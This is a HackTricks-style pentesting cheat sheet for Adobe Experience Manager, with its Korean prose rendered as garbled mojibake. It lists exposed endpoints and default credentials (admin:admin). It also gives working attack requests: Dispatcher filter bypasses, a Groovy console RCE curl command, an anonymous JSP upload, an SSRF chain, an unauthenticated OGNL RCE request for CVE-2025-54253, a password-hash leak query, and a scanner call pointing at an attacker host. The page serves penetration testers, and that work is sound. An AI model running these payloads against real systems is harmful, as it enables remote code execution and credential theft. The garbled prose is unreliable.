AEM (Adobe Experience Manager) Pentesting
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Adobe Experience Manager (AEM, part of the Adobe Experience Cloud)์ Apache Sling/Felix (OSGi)์ Java Content Repository (JCR) ์์์ ๋์ํ๋ ์ํฐํ๋ผ์ด์ฆ CMS์ ๋๋ค.
๊ณต๊ฒฉ์ ๊ด์ ์์ AEM ์ธ์คํด์ค๋ ์ข ์ข ์ํํ ๊ฐ๋ฐ ์๋ํฌ์ธํธ, ์ทจ์ฝํ Dispatcher ๊ท์น, default credentials ๋ฐ ๋ถ๊ธฐ๋ณ๋ก ํจ์น๋๋ ๋ง์ CVEs๋ฅผ ๋ ธ์ถํฉ๋๋ค.
์๋ ์ฒดํฌ๋ฆฌ์คํธ๋ ์ค์ ์์ (2022-2026)์์ ๊ณ์ ๋ฑ์ฅํ๋ externally reachable (unauth) attack surface์ ์ด์ ์ ๋ง์ถฅ๋๋ค.
1. Fingerprinting
$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1 # header added by AEM Dispatcher
X-Vary: Accept-Encoding
Other quick indicators:
/etc.clientlibs/์ ์ ๊ฒฝ๋ก ์กด์ฌ (returns JS/CSS)./libs/granite/core/content/login.html๋ก๊ทธ์ธ ํ์ด์ง โ โAdobe Experience Managerโ ๋ฐฐ๋ ํฌํจ.</script><!--/* CQ */-->HTML ํ๋จ์ ์ฃผ์.
2. ์ค์(๊ณ ๊ฐ์น) ์ธ์ฆ ์์ด ์ ๊ทผ ๊ฐ๋ฅํ ์๋ํฌ์ธํธ
| Path | What you get | Notes |
|---|---|---|
/.json, /.1.json | JCR nodes via DefaultGetServlet | ์์ฃผ ์ฐจ๋จ๋์ง๋ง, Dispatcher bypass (์๋ ์ฐธ์กฐ)๋ก ์ฐํ ๊ฐ๋ฅ. |
/bin/querybuilder.json?path=/ | QueryBuilder API | ํ์ด์ง ํธ๋ฆฌ, ๋ด๋ถ ๊ฒฝ๋ก, ์ฌ์ฉ์ ์ด๋ฆ leak. |
/system/console/status-*, /system/console/bundles | OSGi/Felix console | ๊ธฐ๋ณธ์ ์ผ๋ก 403; ๋ ธ์ถ๋์ด ์๊ณ creds๊ฐ ๋ฐ๊ฒฌ๋๋ฉด โ bundle-upload RCE. |
/crx/packmgr/index.jsp | Package Manager | ์ธ์ฆ๋ content packages ์ ๋ก๋ ํ์ฉ โ JSP payload ์ ๋ก๋. |
/etc/groovyconsole/** | AEM Groovy Console | ๋ ธ์ถ๋๋ฉด โ ์์์ Groovy / Java ์คํ. |
/libs/cq/AuditlogSearchServlet.json | Audit logs | ์ ๋ณด ๋ ธ์ถ. |
/libs/cq/ui/content/dumplibs.html | ClientLibs dump | XSS vector. |
/adminui/debug | AEM Forms on JEE Struts dev-mode OGNL evaluator | Forms ์ค์น๊ฐ ์๋ชป ๊ตฌ์ฑ๋ ๊ฒฝ์ฐ(CVE-2025-54253) ์ด ์๋ํฌ์ธํธ๋ ์ธ์ฆ ์์ด OGNL์ ์คํ โ RCE. |
Dispatcher bypass tricks (still working in 2025/2026)
Most production sites sit behind the Dispatcher (reverse-proxy). Filter rules are frequently bypassed by abusing encoded characters or allowed static extensions.
Classic semicolon + allowed extension
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
Encoded slash bypass (2025 KB ka-27832)
GET /%2fbin%2fquerybuilder.json?path=/etc&1_property=jcr:primaryType HTTP/1.1
If the Dispatcher allows encoded slashes, this returns JSON even when /bin is supposedly denied.
3. ์ผ๋ฐ์ ์ธ ์๋ชป๋ ๊ตฌ์ฑ (2026๋ ์๋ ์ฌ์ ํ ์กด์ฌ)
- Anonymous POST servlet โ
POST /.jsonwith:operation=import๋ก ์ JCR ๋ ธ๋๋ฅผ ์ฌ์ ์ ์๋ค. Dispatcher์์*.jsonPOST๋ฅผ ์ฐจ๋จํ๋ฉด ํด๊ฒฐ๋๋ค. - World-readable user profiles โ ๊ธฐ๋ณธ ACL์ด
/home/users/**/profile/*์ ๋ํด ๋ชจ๋์๊ฒjcr:read๊ถํ์ ๋ถ์ฌํ๋ค. - Default credentials โ
admin:admin,author:author,replication:replication. - WCMDebugFilter enabled โ
?debug=layout์ ํตํด reflected XSS ๋ฐ์ (CVE-2016-7882, ์ฌ์ ํ ๋ ๊ฑฐ์ 6.4 ์ค์น์์ ๋ฐ๊ฒฌ). - Groovy Console exposed โ Groovy ์คํฌ๋ฆฝํธ๋ฅผ ์ ์กํ์ฌ remote code execution:
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
- Dispatcher encoded-slash gap โ
/bin/querybuilder.json๋ฐ/etc/truststore.json์ด ๊ฒฝ๋ก ํํฐ๋ก ์ฐจ๋จ๋์ด ์์ด๋%2f/%3B๋ก ์ ๊ทผ ๊ฐ๋ฅ. - AEM Forms Struts devMode left enabled โ
/adminui/debug?expression=์ด ์ธ์ฆ ์์ด OGNL์ ํ๊ฐํ์ฌ unauth RCE๋ฅผ ์ด๋(CVE-2025-54253); Forms ์ ์ถ์์์ XXE(CVE-2025-54254)๋ ํ์ผ ์ฝ๊ธฐ๋ฅผ ํ์ฉํ๋ค.
4. ์ต๊ทผ ์ทจ์ฝ์ (์๋น์คํฉ ์ฃผ๊ธฐ)
| ๋ถ๊ธฐ | CVE / Bulletin | ์ํฅ ๋์ | ์ํฅ |
|---|---|---|---|
| Dec 2025 | APSB25-115, CVE-2025-64537/64539 | 6.5.24 & earlier, Cloud 2025.12 | ์ฌ๋ฌ ๊ฑด์ critical/stored XSS โ author UI๋ฅผ ํตํ ์ฝ๋ ์คํ. |
| Sep 2025 | APSB25-90 | 6.5.23 & earlier | ๋ณด์ ๊ธฐ๋ฅ ์ฐํ ์ฒด์ธ (Dispatcher auth checker) โ 6.5.24/Cloud 2025.12๋ก ์ ๊ทธ๋ ์ด๋ ๊ถ์ฅ. |
| Aug 2025 | CVE-2025-54253 / 54254 (AEM Forms JEE) | Forms 6.5.23.0 and earlier | DevMode OGNL RCE + XXE ํ์ผ ์ฝ๊ธฐ, ์ธ์ฆ ๋ถํ์. |
| Jun 2025 | APSB25-48 | 6.5.23 & earlier | Communities ์ปดํฌ๋ํธ์์ Stored XSS ๋ฐ ๊ถํ ์์น. |
| Dec 2024 | APSB24-69 (rev. Mar 2025 adds CVE-2024-53962โฆ74) | 6.5.22 & earlier | DOM/Stored XSS, ์์ ์ฝ๋ ์คํ(์ ๊ถํ). |
| Dec 2023 | APSB23-72 | โค 6.5.18 | ์กฐ์๋ URL์ ํตํ DOM-based XSS. |
ํญ์ ๊ณ ๊ฐ์ ์๋น์คํฉ์ ํด๋นํ๋ APSB ๊ณต์ง๋ฅผ ํ์ธํ๊ณ ์ต์ 6.5.24 (Nov 26, 2025) ๋๋ Cloud Service 2025.12๋ก ์ ๊ทธ๋ ์ด๋ํ๋๋ก ๊ถ์ฅํ๋ค. AEM Forms on JEE๋ ์์ฒด add-on hotfix **6.5.0-0108+**๊ฐ ํ์ํ๋ค.
5. Exploitation snippets
5.1 RCE via dispatcher bypass + JSP upload
If anonymous write is possible:
# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded
:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import
์ด์ /content/evil.jsp๋ฅผ ์์ฒญํ์ธ์ โ JSP๋ AEM ํ๋ก์ธ์ค ์ฌ์ฉ์๋ก ์คํ๋ฉ๋๋ค.
5.2 SSRF to RCE (๊ณผ๊ฑฐ < 6.3)
/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console
aem-hacker์ aem_ssrf2rce.py๊ฐ ์ ์ฒด ์ฒด์ธ์ ์๋ํํฉ๋๋ค.
5.3 AEM Forms JEE์ OGNL RCE (CVE-2025-54253)
# Unauth devMode OGNL to run whoami
curl -k "https://target:8443/adminui/debug?expression=%23cmd%3D%27whoami%27,%23p=new%20java.lang.ProcessBuilder(%23cmd).start(),%23out=new%20java.io.InputStreamReader(%23p.getInputStream()),%23br=new%20java.io.BufferedReader(%23out),%23br.readLine()"
์ทจ์ฝํ ๊ฒฝ์ฐ, HTTP ๋ณธ๋ฌธ์๋ ๋ช ๋ น ์ถ๋ ฅ์ด ํฌํจ๋ฉ๋๋ค.
5.4 QueryBuilder hash disclosure (encoded slash bypass)
GET /%2fbin%2fquerybuilder.json?path=/home&type=rep:User&p.hits=full&p.nodedepth=2&p.offset=0 HTTP/1.1
๊ธฐ๋ณธ์ ์ผ๋ก anonymous read ACLs๊ฐ ์ค์ ๋ ๊ฒฝ์ฐ ์ฌ์ฉ์ ๋
ธ๋(rep:password ํด์ ํฌํจ)๋ฅผ ๋ฐํํฉ๋๋ค.
6. ๋๊ตฌ
- aem-hacker โ ๋ง๋ฅ ์ด๊ฑฐ ์คํฌ๋ฆฝํธ๋ก dispatcher bypass, SSRF detection, default-creds ๊ฒ์ฌ ๋ฑ ์ง์.
python3 aem_hacker.py -u https://target --host attacker-ip
- Tenable WAS plugin 115065 โ QueryBuilder hash disclosure ๋ฐ encoded-slash bypass๋ฅผ ์๋์ผ๋ก ํ์งํฉ๋๋ค (published Dec 2025).
- Content brute-force โ
/_jcr_content.(json|html)๋ฅผ ์ฌ๊ท์ ์ผ๋ก ์์ฒญํ์ฌ ์จ๊ฒจ์ง ์ปดํฌ๋ํธ๋ฅผ ๋ฐ๊ฒฌํฉ๋๋ค. - osgi-infect โ creds๊ฐ ์๋ ๊ฒฝ์ฐ
/system/console/bundles๋ฅผ ํตํด ์ ์ฑ OSGi ๋ฒ๋ค์ ์ ๋ก๋ํฉ๋๋ค.
์ฐธ๊ณ ์๋ฃ
- Adobe Security Bulletin APSB25-115 โ Security updates for Adobe Experience Manager (Dec 9, 2025)
- BleepingComputer โ Adobe issues emergency fixes for AEM Forms zero-days (Aug 5, 2025)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


